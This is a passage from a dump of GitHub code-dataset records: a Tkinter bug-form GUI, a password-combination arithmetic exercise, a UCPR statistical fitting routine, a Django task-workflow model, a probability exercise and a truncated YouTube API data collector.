label\r\nsbug_number = ttk.Label(window, text='Source Bugs Description:', style='TLabel')\r\n# creating a source bug entry\r\nsbug_entry = ttk.Entry(window, width=40)\r\n\r\n# adding the source bug label to the canvas\r\ngen_canvas.create_window(350, 120, window=sbug_number)\r\ngen_canvas.create_window(350, 240, height= 220, window=sbug_entry)\r\n\r\n# creating a Additional Bug label\r\nsource_qrcode = ttk.Label(window, text='Enter Additonal Bug Details:', style='TLabel')\r\n# creating a Additional Bug entry\r\nsource_entry = ttk.Entry(window, width=45, style='TEntry')\r\n\r\n# adding the Additional Bug label to the canvas\r\ngen_canvas.create_window(130, 400, window=source_qrcode)\r\n# adding the Additional Bug entry to the canvas\r\ngen_canvas.create_window(360, 400, window=source_entry)\r\n\r\n# creating the reset button in a disabled mode\r\nreset_button = ttk.Button(window, text='Reset', style='TButton', state=DISABLED)\r\n# creating the generate button\r\nsave_button = ttk.Button(window, text='Save', style='TButton', state=DISABLED)\r\n\r\n# adding the reset button to the canvas\r\ngen_canvas.create_window(250, 500, window=reset_button)\r\n# adding the generate button to the canvas\r\ngen_canvas.create_window(500, 500, window=save_button)\r\n\r\n\r\n# run the main window infinitely\r\nwindow.mainloop()\r\n","repo_name":"tarakram07/BugFix-GUI","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5478,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"}
{"seq_id":"12377000031","text":"# imports\nimport sys\nimport os.path\n\n#python -m pip install -U matplotlib\nimport matplotlib.pyplot as plt\npwlen = 8\nlets = len(\"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789\")  #testa\n#lets = len(\"abcdefghijklmnopqrstuvwxyzæøåABCDEFGHIJKLMNOPQRSTUVWXYZÆØÅ0123456789\")\ncombinations = lets**pwlen\n\nsek = (combinations / 1000000)\nmins = sek/60\nhours = mins/60\ndøgn = hours/24\n\nprint(f\"2 - døgn: {døgn}\")\n\nvanligeord = 3000\nnums = 10\n\nmuligheter = vanligeord*(nums**2)\nprint(muligheter/1000)","repo_name":"h3rl/DAT120","sub_path":"øving7/auth.py","file_name":"auth.py","file_ext":"py","file_size_in_byte":513,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"18700162536","text":"##### Implements the UCPR (Uniform Covering by Probabilistic Rejection) -\n##### - algorithm as described in Klepper et al, 1994.\n\nimport numpy as np\nfrom scipy.stats import f\n\n\n\ndef UCPR(G,lb,ub,alpha,k,N=200,c=0):\n\n\t\"\"\"\n\tParameters\n\t==========\n\tG : function\n\t\tThe function to be minimized\n\tlb : array\n\t\tThe lower bound(s) of the parameter(s)\n\tub : array\n\t\tThe upper bound(s) of the parameter(s)\n\talpha : scalar\n\t\tThe desired confidence level\n\tk : int\n\t\tThe number of experimental data points being fitted\n\n\tOptional\n\t========\n\tN : int\n\t\tThe number of points to generate\n\tc : scalar\n\t\tThe safety factor\n\n\tReturns\n\t=======\n\tx : array\n\t\tA set of N sets of parameter values that are in the (1-alpha)% confidence region\n\n\t\"\"\"\n\n\tassert len(lb)==len(ub), 'Lower- and upper-bounds must be the same length'\n\tassert hasattr(G, '__call__'), 'Invalid function handle'\n\tlb = np.array(lb)\n\tub = np.array(ub)\n\tassert np.all(ub>lb), 'All upper-bound values must be greater than lower-bound values'\n\n\tvhigh = np.abs(ub - lb)\n\tvlow = -vhigh\n\n\n\n\t############### Useful Functions ###############\n\n\tdef Gc(n,k,alpha,Gmin):\n\t\treturn (1 +  n * f.ppf(alpha,n,k-n) / (k-n) ) * Gmin#Not sure yet whether this should be pdf or ppf (almost definitely pdf)\n\n\tdef distance2(x1,x2):\t\t#Vector Distance instead of Euclidean Distance\n\t\tdistance=[]\n\t\tfor i in range(len(x1)):\n\t\t\tdistance.append( (x1[i] - x2[i]) / x2[i] )\n\t\treturn distance\n\n\tdef distance(x1,x2):\t\t\t#Need to work on this a bit\n\t\treturn np.sum( (x1-x2/x2 )**2 )\n\n\n\tdef setdistance(p,x):\n\t\tdistances=[]\n\t\tfor i in range(N):\n\t\t\tdistances.append( distance(p,x[i,:]) )\n\n\t\treturn min(distances)\n\n\n\n\t############### Start Algorithm ###############\n\n\tif c==0:\n\t\tc = -np.log( (alpha)**(1/len(lb)) )\n\n\tn = len(lb)\t#Number of parameters\n\n\tx = np.random.rand(N,n) #First set of points:\n\tfor j in range(N):\n\t\tx[j, :] = lb + x[j, :]*(ub - lb)\n\n\tGvalues=[] #Calculate G-values:\n\tfor i in range(N):\n\t\tGvalues.append( G(x[i,:]) )\n\n\tcount=N\n\tprint(count)\n\n\twhile max(Gvalues) >= Gc(n,k,alpha,min(Gvalues)):\n\n\t\tprint(Gc(n,k,alpha,min(Gvalues)))\n\t\tprint(max(Gvalues))\n\n\n\t\t#Calculate R:\n\n\t\tNNdistances=[]\n\t\tfor i in range(N):\n\t\t\tdistances=[]\n\t\t\tfor j in range(N):\n\t\t\t\tdistances.append( distance(x[i,:],x[j,:]) )\n\t\t\tNNdistances.append(min(distances))\n\n\t\t'''NNdistances=[]\n\t\tfor i in range(N):\n\t\t\tfor j in range(N):\n\t\t\t\tNNdistances.append( distance(x[i,:],x[j,:]) )'''\n\n\t\tR=np.mean(NNdistances)*c\n\n\t\t#Generate a new point:\n\n\t\tp = np.random.rand(n)\n\t\tp = lb + p*(ub-lb)\n\n\t\twhile G(p) > max(Gvalues) or setdistance(p,x) >= R:\n\t\t\tp = np.random.rand(n)\n\t\t\tp = lb + p*(ub-lb)\n\n\n\t\t#Replace worst point:\n\n\t\tworst = Gvalues.index(max(Gvalues))\n\t\tx[worst,:] = p\n\n\t\tGvalues[worst]=G(p)\n\n\t\tcount+=1\n\t\tprint(count)\n\n\t\tnp.savetxt('x_values.csv',x,delimiter=',')\n\n\t#Now we have a set of points in Gc\n\n\t\n\t########## Constructing Confidence Area ##########\n\n\t#For now, let's just return the points\n\n\treturn x\n\n\n\n\n########## Constructing Confidence Area ##########\n\ndef ConfidenceArea(x):\n\n\tupperbound=[]\n\tlowerbound=[]\n\n\tn=x.shape[1]\n\n\tfor i in range(n):\n\t\tupperbound.append(max(x[:,i]))\n\t\tlowerbound.append(min(x[:,i]))\n\n\treturn lowerbound,upperbound\n\n\n\n","repo_name":"Matthew-Leighton/UCpyR","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":3148,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"27355111110","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.utils.translation import ugettext as _\nfrom django.contrib.auth.models import User\nfrom django.core.validators import MinValueValidator, MaxValueValidator\nfrom django.dispatch import receiver\nfrom django.db.models.signals import post_save\n\nfrom main.helper.models import *\nfrom main.helper.models import ModelFieldsAccessTypeMixin\nfrom main.account.models import Account\nfrom main.project.models import Project\nfrom .collections import TaskCollectionsFabric\nfrom .tasks import caching_all_rendered_tasks_items\n\n\nclass TaskFieldsAccessTypeMixin(ModelFieldsAccessTypeMixin):\n    \"\"\"\n    Определение и получение прав на каждое поле задачи.\n    \"\"\"\n\n    def get_field_desc_access_type(self, user):\n        roles = self.get_user_roles(user)\n        if roles & set([self.ROLE_AUTHOR, self.ROLE_MANAGER, self.ROLE_LEAD_PROGRAMMER, self.ROLE_SUPERUSER]):\n            return self.FIELD_ACCESS_TYPE_FULL\n        else:\n            return self.FIELD_ACCESS_TYPE_VIEW\n\n    def get_field_priority_access_type(self, user):\n        return self.get_field_desc_access_type(user)\n\n    def get_field_importance_access_type(self, user):\n        return self.get_field_desc_access_type(user)\n\n    def get_field_status_access_type(self, user):\n        return self.get_field_desc_access_type(user)\n\n    def get_field_performer_access_type(self, user):\n        return self.get_field_desc_access_type(user)\n\n    def get_field_lead_programmer_access_type(self, user):\n        roles = self.get_user_roles(user)\n        if roles & set([self.ROLE_AUTHOR, self.ROLE_MANAGER, self.ROLE_SUPERUSER]):\n            return self.FIELD_ACCESS_TYPE_FULL\n        else:\n            return self.FIELD_ACCESS_TYPE_VIEW\n\n    def get_field_tester_access_type(self, user):\n        return self.get_field_performer_access_type(user)\n\n    def get_field_manager_access_type(self, user):\n        return self.get_field_lead_programmer_access_type(user)\n\n    def get_field_client_access_type(self, user):\n        return self.get_field_lead_programmer_access_type(user)\n\n\nclass TaskActionsMixin(object):\n    ACTION_SEND_TO_PERFORMER            = 'send_to_performer'\n    ACTION_REJECT_PERFORM               = 'reject_perform'\n    ACTION_ADD_TO_PERFORMANCE_QUEUE     = 'add_to_performance_queue'\n    ACTION_START_PERFORMANCE            = 'start_performance'\n    ACTION_PAUSE_PERFORMANCE            = 'pause_performance'\n    ACTION_MARK_AS_PERFORMED            = 'mark_as_performed'\n    ACTION_SEND_TO_LEAD_PROGRAMMER      = 'send_to_lead_programmer'\n    ACTION_ADD_TO_CODE_REVIEW_QUEUE     = 'add_to_code_review_queue'\n    ACTION_START_CODE_REVIEW            = 'start_code_review'\n    ACTION_SEND_TO_TESTING              = 'send_to_testing'\n    ACTION_REJECT_TEST                  = 'reject_test'\n    ACTION_ADD_TO_TESTING_QUEUE         = 'add_to_testing_queue'\n    ACTION_START_TESTING                = 'start_testing'\n    ACTION_ACCEPT_WORK_BY_TESTER        = 'accept_work_by_tester'\n    ACTION_SEND_TO_CLIENT               = 'send_to_client'\n    ACTION_ADD_TO_CLIENT_CHECKING_QUEUE = 'add_to_client_checking_queue'\n    ACTION_START_CLIENT_CHECKING        = 'start_client_checking'\n    ACTION_SEND_TO_REWORK               = 'send_to_rework'\n    ACTION_ACCEPT_WORK_BY_CLIENT        = 'accept_work_by_client'\n    ACTION_CLOSE_TASK                   = 'close_task'\n\n    ACTIONS = {\n        ACTION_SEND_TO_PERFORMER            : u'Отправить исполнителю',\n        ACTION_REJECT_PERFORM               : u'Отказаться выполнять',\n        ACTION_ADD_TO_PERFORMANCE_QUEUE     : u'В очередь',\n        ACTION_START_PERFORMANCE            : u'Начать выполнение',\n        ACTION_PAUSE_PERFORMANCE            : u'Пауза выполнения',\n        ACTION_MARK_AS_PERFORMED            : u'Пометить как выполненное',\n        ACTION_SEND_TO_LEAD_PROGRAMMER      : u'Отправить тимлиду',\n        ACTION_ADD_TO_CODE_REVIEW_QUEUE     : u'В очередь',\n        ACTION_START_CODE_REVIEW            : u'Начать проверку',\n        ACTION_SEND_TO_TESTING              : u'Отправить на тестирование',\n        ACTION_REJECT_TEST                  : u'Отказаться тестировать',\n        ACTION_ADD_TO_TESTING_QUEUE         : u'В очередь',\n        ACTION_START_TESTING                : u'Начать тестирование',\n        ACTION_ACCEPT_WORK_BY_TESTER        : u'Ошибок не найдено',\n        ACTION_SEND_TO_CLIENT               : u'Отправить заказчику',\n        ACTION_ADD_TO_CLIENT_CHECKING_QUEUE : u'В очередь',\n        ACTION_START_CLIENT_CHECKING        : u'Начать проверку',\n        ACTION_SEND_TO_REWORK               : u'Отправить на доработку',\n        ACTION_ACCEPT_WORK_BY_CLIENT        : u'Принять работу',\n        ACTION_CLOSE_TASK                   : u'Завершить задачу',\n    }\n\n    def get_available_actions(self, user):\n        \"\"\"\n        Возвращает список доступных действий,\n        которые можно выполнить над задачей при текущих значениях полей\n        и для указанного пользователя.\n        \"\"\"\n        actions = {}\n\n        roles = self.get_user_roles(user)\n\n        for name, title in self.ACTIONS.items():\n            method_name = 'has_action_{0}'.format(name)\n            method = getattr(self, method_name, None)\n            if callable(method):\n                if method(user, roles):\n                    actions.update({\n                        name: title,\n                    })\n\n        return actions\n\n    def has_action_send_to_performer(self, user, roles):\n        if self.ROLE_LEAD_PROGRAMMER in roles and self.status == self.STATUS_CODE_REVIEW:\n            return True\n        if self.ROLE_TESTER in roles and self.status == self.STATUS_TESTING:\n            return True\n        if self.ROLE_MANAGER in roles and self.status in (\n            self.STATUS_PERFORMER_REJECTED,\n            self.STATUS_WENT_TO_TESTING,\n            self.STATUS_TESTER_REJECTED,\n            self.STATUS_WAIT_TESTING,\n            self.STATUS_TESTING,\n            self.STATUS_TESTER_ACCEPTED,\n\n        ):\n            return True\n\n    def has_action_reject_perform(self, user, roles):\n        if self.ROLE_PERFORMER in roles \\\n        and self.status in (self.STATUS_WENT_TO_PERFORMER, self.STATUS_PERFORMANCE):\n            return True\n\n    def has_action_add_to_performance_queue(self, user, roles):\n        if self.ROLE_PERFORMER in roles and self.status == self.STATUS_WENT_TO_PERFORMER:\n            return True\n\n    def has_action_start_performance(self, user, roles):\n        if self.ROLE_PERFORMER in roles \\\n        and self.status in (\n                self.STATUS_WENT_TO_PERFORMER,\n                self.STATUS_WAIT_PERFORMANCE,\n                self.STATUS_PERFORMANCE_PAUSE,\n        ):\n            return True\n\n    def has_action_pause_performance(self, user, roles):\n        if self.ROLE_PERFORMER in roles \\\n        and self.status in (\n                self.STATUS_PERFORMANCE,\n        ):\n            return True\n\n    def has_action_mark_as_performed(self, user, roles):\n        if self.ROLE_PERFORMER in roles and self.status == self.STATUS_PERFORMANCE:\n            return True\n\n    def has_action_send_to_lead_programmer(self, user, roles):\n        if self.lead_programmer:\n            if self.ROLE_PERFORMER in roles and self.status == self.STATUS_PERFORMANCE:\n                return True\n\n    def has_action_add_to_code_review_queue(self, user, roles):\n        if self.ROLE_LEAD_PROGRAMMER in roles and self.status == self.STATUS_WENT_TO_LEAD_PROGRAMMER:\n            return True\n\n    def has_action_start_code_review(self, user, roles):\n        if self.ROLE_LEAD_PROGRAMMER in roles \\\n        and self.status in (self.STATUS_WENT_TO_LEAD_PROGRAMMER, self.STATUS_WAIT_CODE_REVIEW):\n            return True\n\n    def has_action_send_to_testing(self, user, roles):\n        if self.lead_programmer:\n            if self.ROLE_LEAD_PROGRAMMER in roles and self.status == self.STATUS_CODE_REVIEW:\n                return True\n        elif self.tester:\n            if self.ROLE_PERFORMER in roles and self.status == self.STATUS_PERFORMED:\n                return True\n\n    def has_action_reject_test(self, user, roles):\n        if self.ROLE_TESTER in roles and self.status == self.STATUS_TESTING:\n            return True\n\n    def has_action_add_to_testing_queue(self, user, roles):\n        if self.ROLE_TESTER in roles and self.status == self.STATUS_WENT_TO_TESTING:\n            return True\n\n    def has_action_start_testing(self, user, roles):\n        if self.ROLE_TESTER in roles and self.status in (self.STATUS_WENT_TO_TESTING, self.STATUS_WAIT_TESTING):\n            return True\n\n    def has_action_accept_work_by_tester(self, user, roles):\n        if self.ROLE_TESTER in roles and self.status == self.STATUS_TESTING:\n            return True\n\n    def has_action_send_to_client(self, user, roles):\n        if self.ROLE_MANAGER in roles and self.client:\n            if self.tester:\n                if self.status == self.STATUS_TESTER_ACCEPTED:\n                    return True\n            elif self.lead_programmer:\n                if self.status == self.STATUS_LEAD_PROGRAMMER_ACCEPTED:\n                    return True\n            else:\n                if self.status == self.STATUS_PERFORMED:\n                    return True\n\n    def has_action_add_to_client_checking_queue(self, user, roles):\n        if self.ROLE_CLIENT in roles and self.status == self.STATUS_WENT_TO_CLIENT:\n            return True\n\n    def has_action_start_client_checking(self, user, roles):\n        if self.ROLE_CLIENT in roles and self.status in (self.STATUS_WAIT_CLIENT_CHECKING, self.STATUS_WENT_TO_CLIENT):\n            return True\n\n    def has_action_send_to_rework(self, user, roles):\n        if self.ROLE_CLIENT in roles and self.status == self.STATUS_CLIENT_CHECKING:\n            return True\n\n    def has_action_accept_work_by_client(self, user, roles):\n        if self.ROLE_CLIENT in roles and self.status == self.STATUS_CLIENT_CHECKING:\n            return True\n\n    def has_action_close_task(self, user, roles):\n        if self.manager:\n            if self.ROLE_MANAGER in roles:\n                return True\n        else:\n            if self.ROLE_AUTHOR in roles:\n                return True\n\n    def run_action(self, action, user):\n        \"\"\"\n        Выполняет указанное действие над объектом модели.\n        \"\"\"\n        method_name = 'action_{0}'.format(action)\n        method = getattr(self, method_name, None)\n        if callable(method):\n            return method(user)\n\n    def action_send_to_performer(self, user):\n        self.status = self.STATUS_WENT_TO_PERFORMER\n        self.save()\n\n    def action_reject_perform(self, user):\n        self.status = self.STATUS_PERFORMER_REJECTED\n        self.save()\n\n    def action_add_to_performance_queue(self, user):\n        self.status = self.STATUS_WAIT_PERFORMANCE\n        self.save()\n\n    def action_start_performance(self, user):\n        self.status = self.STATUS_PERFORMANCE\n        self.save()\n\n    def action_pause_performance(self, user):\n        self.status = self.STATUS_PERFORMANCE_PAUSE\n        self.save()\n\n    def action_mark_as_performed(self, user):\n        \"\"\"\n        Помечает задачу как выполненную исполнителем.\n        \"\"\"\n        if self.lead_programmer:\n            self.status = self.STATUS_WENT_TO_LEAD_PROGRAMMER\n        elif self.tester:\n            self.status = self.STATUS_WENT_TO_TESTING\n        else:\n            self.status = self.STATUS_PERFORMED\n        self.save()\n\n    def action_add_to_code_review_queue(self, user):\n        self.status = self.STATUS_WAIT_CODE_REVIEW\n        self.save()\n\n    def action_start_code_review(self, user):\n        self.status = self.STATUS_CODE_REVIEW\n        self.save()\n\n    def action_send_to_testing(self, user):\n        self.status = self.STATUS_WENT_TO_TESTING\n        self.save()\n\n    def action_reject_test(self, user):\n        self.status = self.STATUS_TESTER_REJECTED\n        self.save()\n\n    def action_add_to_testing_queue(self, user):\n        self.status = self.STATUS_WAIT_TESTING\n        self.save()\n\n    def action_start_testing(self, user):\n        self.status = self.STATUS_TESTING\n        self.save()\n\n    def action_accept_work_by_tester(self, user):\n        self.status = self.STATUS_TESTER_ACCEPTED\n        self.save()\n\n    def action_send_to_client(self, user):\n        self.status = self.STATUS_WENT_TO_CLIENT\n        self.save()\n\n    def action_add_to_client_checking_queue(self, user):\n        self.status = self.STATUS_WAIT_CLIENT_CHECKING\n        self.save()\n\n    def action_start_client_checking(self, user):\n        self.status = self.STATUS_CLIENT_CHECKING\n        self.save()\n\n    def action_send_to_rework(self, user):\n        self.status = self.STATUS_CLIENT_REJECTED\n        self.save()\n\n    def action_accept_work_by_client(self, user):\n        self.status = self.STATUS_CLIENT_ACCEPTED\n        self.save()\n\n    def action_close_task(self, user):\n        self.status = self.STATUS_CLOSED\n        self.save()\n\n\nclass Task(EntityBaseFields, TitleField, DescField,\n           TaskFieldsAccessTypeMixin, TaskActionsMixin):\n    \"\"\"\n    Задача.\n    \"\"\"\n\n    PRIORITY_CHOICES = {\n        -2: u'Совсем не срочно',\n        -1: u'Не срочно',\n        0: u'Обычно',\n        1: u'Срочно',\n        2: u'Очень срочно',\n    }\n\n    IMPORTANCE_CHOICES = {\n        -2: u'Совсем не важно',\n        -1: u'Не важно',\n        0: u'Обычно',\n        1: u'Важно',\n        2: u'Очень важно',\n    }\n\n    # использую константы для всех статусов, чтобы свести к минимуму ошибки\n    # опечаток использования статусов\n    STATUS_WENT_TO_PERFORMER  = 11\n    STATUS_PERFORMER_REJECTED = 12\n    STATUS_WAIT_PERFORMANCE   = 13\n    STATUS_PERFORMANCE        = 14\n    STATUS_PERFORMANCE_PAUSE  = 15\n    STATUS_PERFORMED          = 16\n\n    STATUS_WENT_TO_LEAD_PROGRAMMER  = 21\n    STATUS_WAIT_CODE_REVIEW         = 22\n    STATUS_CODE_REVIEW              = 23\n    STATUS_LEAD_PROGRAMMER_ACCEPTED = 24\n\n    STATUS_WENT_TO_TESTING = 31\n    STATUS_TESTER_REJECTED = 32\n    STATUS_WAIT_TESTING    = 33\n    STATUS_TESTING         = 34\n    STATUS_TESTER_ACCEPTED = 35\n\n    STATUS_WENT_TO_CLIENT       = 41\n    STATUS_WAIT_CLIENT_CHECKING = 42\n    STATUS_CLIENT_CHECKING      = 43\n    STATUS_CLIENT_ACCEPTED      = 44\n    STATUS_CLIENT_REJECTED      = 45\n    STATUS_CLOSED               = 46\n\n    STATUSES = {\n        STATUS_WENT_TO_PERFORMER  : u'Отправлена исполнителю',\n        STATUS_PERFORMER_REJECTED : u'Отказ выполнять',\n        STATUS_WAIT_PERFORMANCE   : u'Ожидает выполнения',\n        STATUS_PERFORMANCE        : u'Выполнение',\n        STATUS_PERFORMANCE_PAUSE  : u'Пауза',\n        STATUS_PERFORMED          : u'Решено',\n\n        STATUS_WENT_TO_LEAD_PROGRAMMER : u'Отправлена тимлиду',\n        STATUS_WAIT_CODE_REVIEW        : u'Ожидает проверки кода',\n        STATUS_CODE_REVIEW             : u'Проверка кода',\n\n        STATUS_WENT_TO_TESTING : u'Отправлена на тестирование',\n        STATUS_TESTER_REJECTED : u'Отказ тестировать',\n        STATUS_WAIT_TESTING    : u'Ожидает тестирования',\n        STATUS_TESTING         : u'Тестирование',\n        STATUS_TESTER_ACCEPTED : u'Успешно протестирована',\n\n        STATUS_WENT_TO_CLIENT       : u'Отправлена заказчику',\n        STATUS_WAIT_CLIENT_CHECKING : u'Ожидает проверки заказчиком',\n        STATUS_CLIENT_CHECKING      : u'Проверка заказчиком',\n        STATUS_CLIENT_REJECTED      : u'Не принята заказчиком',\n        STATUS_CLIENT_ACCEPTED      : u'Принята заказчиком',\n        STATUS_CLOSED               : u'Завершена',\n    }\n\n    # роли пользователя в данной задаче\n    ROLE_SUPERUSER       = 'superuser'\n    ROLE_AUTHOR          = 'author'\n    ROLE_PERFORMER       = 'performer'\n    ROLE_LEAD_PROGRAMMER = 'lead_programmer'\n    ROLE_TESTER          = 'tester'\n    ROLE_MANAGER         = 'manager'\n    ROLE_CLIENT          = 'client'\n\n    priority   = models.IntegerField(choices = PRIORITY_CHOICES.items(), verbose_name = u'Срочность', default = 0)\n    importance = models.IntegerField(choices = IMPORTANCE_CHOICES.items(), verbose_name = u'Важность', default = 0)\n    author     = models.ForeignKey('account.Account', verbose_name = u'Автор', related_name = 'task_author')\n\n    status = models.IntegerField(choices = STATUSES.items(), verbose_name = u'Статус', default = STATUS_WENT_TO_PERFORMER)\n\n    performer       = models.ForeignKey('account.Account', verbose_name = u'Исполнитель', related_name = 'task_performer', blank = True, null = True)\n    lead_programmer = models.ForeignKey('account.Account', verbose_name = u'Ведущий разработчик', related_name = 'task_lead_programmer', blank = True, null = True)\n    tester          = models.ForeignKey('account.Account', verbose_name = u'Тестировщик', related_name = 'task_tester', blank = True, null = True)\n    manager         = models.ForeignKey('account.Account', verbose_name = u'Менеджер', related_name = 'task_manager', blank = True, null = True)\n    client          = models.ForeignKey('account.Account', verbose_name = u'Клиент', related_name = 'task_client', blank = True, null = True)\n\n    project    = models.ForeignKey('project.Project', verbose_name = u'Проект', related_name = 'task_project', blank = True, null = True)\n    specification = models.ForeignKey('specification.Specification', verbose_name = u'Глава ТЗ', related_name = 'task_specification', blank = True, null = True)\n    release = models.ForeignKey('release.Release', verbose_name = u'Релиз', related_name = 'task_release', blank = True, null = True)\n\n    # objects = models.Manager()\n\n    class Meta():\n        verbose_name = 'Task'\n        verbose_name_plural = 'Tasks'\n\n    def get_user_roles(self, user):\n        \"\"\"\n        Возвращает список ролей указанного пользователя в данной задаче\n        \"\"\"\n        roles = []\n        if user.is_superuser:\n            roles.append(self.ROLE_SUPERUSER)\n\n        if user.pk == getattr(self.performer, 'pk', None):\n            roles.append(self.ROLE_PERFORMER)\n\n        if user.pk == getattr(self.lead_programmer, 'pk', None):\n            roles.append(self.ROLE_LEAD_PROGRAMMER)\n\n        if user.pk == getattr(self.tester, 'pk', None):\n            roles.append(self.ROLE_TESTER)\n\n        if user.pk == getattr(self.manager, 'pk', None):\n            roles.append(self.ROLE_MANAGER)\n\n        if user.pk == getattr(self.client, 'pk', None):\n            roles.append(self.ROLE_CLIENT)\n\n        return set(roles)\n\n    def get_field_available_choices(self, user, field_name):\n        \"\"\"\n        Возвращает словарь допустимых значений\n        указанному пользователю для указанного поля.\n        \"\"\"\n        method_name = 'get_{0}_field_available_choices'.format(field_name)\n        method = getattr(self, method_name)\n        if callable(method):\n            return method(user)\n\n    def get_members(self, only_ids=False):\n        \"\"\"\n        Возвращает всех пользователей, которые учавствуют в работе над задачей.\n        \"\"\"\n        members = []\n        if self.performer:\n            members.append(self.performer)\n        if self.lead_programmer:\n            members.append(self.lead_programmer)\n        if self.tester:\n            members.append(self.tester)\n        if self.manager:\n            members.append(self.manager)\n        if self.client:\n            members.append(self.client)\n\n        if only_ids:\n            return [u.id for u in members]\n        else:\n            return members\n\n\n@receiver(post_save, sender=Task)\ndef task_post_save(sender, instance, *args, **kwargs):\n    # запускаем ассинхронно через celery кэширование всего,\n    # что связано с сохраненной задачей\n    caching_all_rendered_tasks_items.delay(instance)\n\n    # collections_fabric = TaskCollectionsFabric(instance)\n    # # добавляем задачу в коллекции, которым подходит данная задача по свойствам\n    # for c in collections_fabric.get_appropriate_collections():\n    #     c.add_item(instance.pk)\n    # # исключаем задачу из коллекций, которым данная задача не подходит по свойствам\n    # for c in collections_fabric.get_inappropriate_collections():\n    #     c.delete_item(instance.pk)\n","repo_name":"volgoweb/tt","sub_path":"main/task/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":21543,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"35"}
{"seq_id":"18234496635","text":"\"\"\"Liste los elementos de cada uno de los siguientes espacios muestrales\n    a)Conjunto de numeros enteros entre  1 y 50 que son divisibles entre 8\n    b) El conjunto S = {x|x**2 + 4x -5 = 0}\n    c) EL conjunto de resultados cuando se lanza una moneda al aire hasta \n    que aparecen una cruz o tres caras\n    d) El conjunto de S = {x | x es un continente}\n    e) El conjunto de S = {x | 2x -4 >= 0 y x < 1}\"\"\"\n\ndef main():\n    s_a = []\n    x = 0\n    x_b_counter = -200\n    s_b = []\n    s_b = []\n    x_e_counter = -100\n\n    #a)\n\n    while x < 51:\n        x+=1\n        if x % 8 == 0:\n            s_a.append(x)\n    print(f'The elements of the sample space of the a) are: {s_a}')\n\n    #b)\n\n    while x_b_counter < 200:\n        x_b_counter += 1\n\n        if x_b_counter**2 + 4*x_b_counter -5 == 0:\n            s_b.append(x_b_counter)\n    print(f'The elements of the sample space of the b) are: {s_b}')\n\n    #e)\n\n    while  x_e_counter < 50:\n        x_e_counter +=1\n        if 2*x_e_counter -4 >= 0 and x_e_counter < 1:\n            print(x_e_counter)\n\n    \n\n\nif __name__ == '__main__':\n    main()\n\n\n","repo_name":"ceronlvictor/Probability_Statistics","sub_path":"Excersises_Probability/Probability_Exercise_2-1.py","file_name":"Probability_Exercise_2-1.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"}
{"seq_id":"28944820438","text":"\"\"\"\nData retrieving form google api, data storingin mysql, periodic data retrieving.\n\"\"\"\nimport os\nimport math\nfrom datetime import datetime, timezone, timedelta\n\nimport mysql.connector\nimport googleapiclient.discovery\nimport googleapiclient.errors\nimport dateutil.parser\n\nfrom celery import Celery\nfrom celery.task import periodic_task\n\nfrom connect import insert_data\n\n# Update time conversion, as it can fail if time changes to summer time\n# Update how item's are inserted to db check for 2 values or insert if time uploaded is\n# Between some interval\n\nhard_channel_id = 'UCF9IOB2TExg3QIBupFtBDxg'\n\nmy_db = mysql.connector.connect(\n    option_files='../mysql.cnf'\n)\nmy_cursor = my_db.cursor()\n\n\ndef initialize_youtube():\n    \"\"\" create youtube client \"\"\"\n\n    api_service_name = \"youtube\"\n    api_version = \"v3\"\n    api_key = os.environ['Y3_API_KEY']\n    youtube = googleapiclient.discovery.build(\n        api_service_name, api_version, developerKey=api_key)\n\n    return youtube\n\n\ndef get_channel_video_ids(channel_id):\n    \"\"\" Retrieves list of video ids on time online case\"\"\"\n\n    youtube = initialize_youtube()\n    res = youtube.channels().list(id=channel_id,\n                                  part='contentDetails').execute()\n    playlist_id = res['items'][0]['contentDetails']['relatedPlaylists']['uploads']\n    res = youtube.playlistItems().list(playlistId=playlist_id,\n                                       part='snippet',\n                                       maxResults=50).execute()\n\n    video_ids = []\n    for i in range(len(res)):\n        published_at = res['items'][i]['snippet']['publishedAt']\n        published_at_iso = dateutil.parser.isoparse(published_at)\n        date_time_now = datetime.now(timezone.utc)\n        video_online_time = date_time_now - published_at_iso\n        print(\"Time hours online\", video_online_time.total_seconds() / 3600)\n        # how long video is online < 1 less when hour\n        # final version 0.95 < x < 1.05 if code runs in 5 mins interval\n        if 0.95 < (video_online_time.total_seconds() / 3600) < 10000:\n            video_ids.append(res['items'][i]['snippet']['resourceId']['videoId'])\n\n    return video_ids\n\n\ndef get_video_data(video_id, channel_id, mycursor):\n    \"\"\" get video view data as obj \"\"\"\n\n    youtube = initialize_youtube()\n    now = datetime.now()\n    mycursor.execute(\"SELECT video_views FROM video_data WHERE channel_id=\" + \\\n                     \"'\" + channel_id + \"'\")\n    all_video_views_db = mycursor.fetchall()\n    print('All video views', all_video_views_db)\n    mycursor.execute(\"SELECT video_id FROM video_data\")\n    video_ids_db = mycursor.fetchall()\n    print('Video ids', video_ids_db)\n    res = youtube.videos().list(id=video_id,\n                                part='statistics').execute()\n    views = int(res['items'][0]['statistics']['viewCount'])\n\n    if all_video_views_db:\n        video_count = len(all_video_views_db)\n        views_list = [x[0] for x in all_video_views_db]\n        views_median = math.fsum(views_list) / video_count\n        perf_diff = views - views_median\n    else:\n        views_median = views\n        perf_diff = 0\n\n    view_stats = {'time': now,\n                  'channel_id': channel_id,\n                  'video_id': video_id,\n                  'video_views': views,\n                  'videos_views_median': views_median,\n                  'perf_diff': perf_diff}\n\n    return view_stats\n\n\ndef get_video_tags(video_id):\n    \"\"\" Get list of tags from video \"\"\"\n\n    youtube = initialize_youtube()\n    res = youtube.videos().list(id=video_id,\n                                part='snippet').execute()\n    # some videos don`t have tags\n    try:\n        tags = str(res['items'][0]['snippet']['tags'])\n    except IndexError:\n        tags = \"\"\n\n    data_obj = {'tags': tags}\n\n    return data_obj\n\n\napp = Celery('tasks', 